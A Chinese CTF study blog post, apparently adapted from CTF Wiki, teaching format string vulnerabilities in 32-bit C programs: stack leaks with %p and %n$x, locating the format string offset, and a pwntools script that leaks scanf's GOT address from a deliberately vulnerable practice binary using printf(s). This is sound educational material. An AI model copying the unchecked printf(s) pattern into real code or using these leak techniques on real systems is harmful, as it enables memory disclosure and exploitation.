格式化字符串漏洞 format string exploit(一)


 

 

本文系原創,轉載請說明出處

本文為基於CTF WIKI的PWN學習

0x00 格式化字符串原理

   先附一張經典的圖,如下

 

  其棧上布局如下:

some value 
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

   如果程序寫成了:

 

printf("Color %s, Number %d, Float %4.2f");

 

   分別將棧上的三個變量分別解析為:

  1. 解析其地址對應的字符串
  2. 解析其內容對應的整形值
  3. 解析其內容對應的浮點值

    我們編寫程序驗證以下:

#include <stdio.h>
int main() {

  printf("Color %s, Number %d, Float %4.2f", “red”, 123456, 3.14);
  printf("Color %s, Number %d, Float %4.2f");
  return 0;
}

 

   輸入以下命令編譯(記得安裝libc6-dev-i386庫):

 gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c 

   運行結果

gdb調試一下:

b printf后輸入r運行

可以看到在第一個printf的運行中,stack的參數正如上文所說,先是格式化字符串,再是123456(的16進制),最后是3.14

繼續調試至第二個printf(一直按n)

 

 

 stack中我們發現,首先入棧的依舊是格式化字符串,但是上面三個參數不再是之前的那幾個了。按照原理,第二次輸出的應該是0xffffcfb4及之后的兩個內存對應的內容。下面我們來細致討論。

 

0x01 漏洞利用

利用格式化字符串漏洞,我們還可以獲取我們所想要輸出的內容。一般會有如下幾種操作

  • 泄露棧內存
    • 獲取某個變量的值 (%s)
    • 獲取某個變量對應地址的內存 (%p)
  • 泄露任意地址內存
    • 利用 GOT 表得到 libc 函數地址,進而獲取 libc,進而獲取其它 libc 函數地址 (addr%n$s)
    • 盲打,dump 整個程序,獲取有用信息。

 一、泄露內存

(1)獲取棧變量數值

這里使用ctf wiki上面的例子:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

編譯運行調試

 

 調試:

 

 直接轉載(copy)了:可以看出,此時此時已經進入了 printf 函數中,棧中第一個變量為返回地址,第二個變量為格式化字符串的地址,第三個變量為 a 的值,第四個變量為 b 的值,第五個變量為 c 的值,第六個變量為我們輸入的格式化字符串對應的地址。繼續運行程序,按c

 

 將會把上圖中0xffffcf44及其后面兩個地址包含的內容輸出輸出:

 

 並不是每次得到的結果都一樣 ,棧上的數據會因為每次分配的內存頁不同而有所不同,這是因為棧是不對內存頁做初始化的。這可以從我上面的幾個截圖結果看出來。

(2)獲取棧指定變量值

可以使用%n$x獲得棧上第n+1個參數,格式化字符串是第一個參數,那么如果想獲得printf的第n個參數,就需要加1.

如,我想獲得第三個參數值f7e946bb,那么我就輸入%3$x

(3)獲取對應字符串:%s

(4)獲取數據:%p

 

二、獲取任意地址內存

上面的泄露並不強力,比賽中經常需要泄露某一個 libc 函數的 got 表內容,從而得到其地址,進而獲取 libc 版本以及其他函數的地址,這時候,能夠完全控制泄露某個指定地址的內存就顯得很重要了。

這里我們再看一遍源程序代碼:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

scanf接收入s的值,然后兩個printf。這里我們輸入%s,如下調試,打印出0xff007325, 就是%s對應的字符串值,所以,輸出函數的棧分布,棧上的第一個參數就是格式化字符串的地址。

這就意味着格式化字符串內容可控,同時,還需要注意的是,第一個參數雖然放置的是格式化字符串的地址,但是,輸出函數並沒有在這里開始調用,你也可以從上圖中看到,在0xffffcf50處,又有一個%s,這里才是調用格式化字符串的時候,輸出格式化字符串表達的內容時刻。這就意味着,因為格式化字符串我們可以自己控制,那么,如果我格式化字符串里面包含了%s,它會輸出%s對應地址(0xff007325)所包含的內容,如果包含scanf@got, 它會輸出scanf@got對應地址包含的內容,也就是scanf的真實地址。

總結:1、格式化字符串可以按照自己的意願輸入。2、格式化字符串的地址為棧上的第一個參數,順序之后的某個位置會調用這個格式化字符串,以格式化字符串的內容輸出內容。

所以,我們只要知道,調用這個格式化字符串的位置就可以了。

根據CTF WIKI上的說明方案,我們可以使用下面的字符來確定格式化字符串在哪調用:

[tag]%p%p%p%p%p%p...

如果輸出棧的內容與我們前面的 tag 重復了,那么我們就可以有很大把握說明該地址就是格式化字符串的地址,之所以說是有很大把握,這是因為不排除棧上有一些臨時變量也是該數值(0x41414141)。如:

 

 AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

我們調試看一下:

我輸入的是AAAA加上8個%p

 

 你會看到,AAAA后面依次輸出8個內容,

第一個輸出AAAA,這本來就是字符,作為一個標志顯示出來罷了。然后往后,%p開始作用,依次是0xffffcfa0(可以看到格式化字符串為第一個參數,%p從格式字符串下一個開始),0xc2, 0xf7e946bb這些都是跟着格式化字符串后面的參數,之后,便打印出來0xffffcfa0地址對應的內容,即字符串。也就是說,其相對printf函數,為第5個參數(第五行),但是相對格式化字符串(第一行),是第四個參數。那么既然是第四個參數,我們使用%4$s看看測試一下。

然后你會發現core dump:

 

 為啥?調試。

 

 首先,%4$s對應的存放地址為0xffffcfa0, 我們查看內存發現存着的是0x73243425, 再看看0x73243425放着什么,啥都沒有,那肯定崩潰。

我們輸入%4$s是0x73243425, 我們輸入%5$s是0x732434525,................

那就是說,我們確定了參數為第幾個后,在tag處輸入想要獲得的內容的地址,那么,輸出的將是輸入的地址對應的內容。

然后使用CTF wiki上payload改改就可以實現獲取scanf的地址:

from pwn import *
sh = process('./leakmemory')  
leakmemory = ELF('./leakmemory')  
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  #獲取got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'  #想要輸出的地址加上確定好的參數位置
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
sh.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM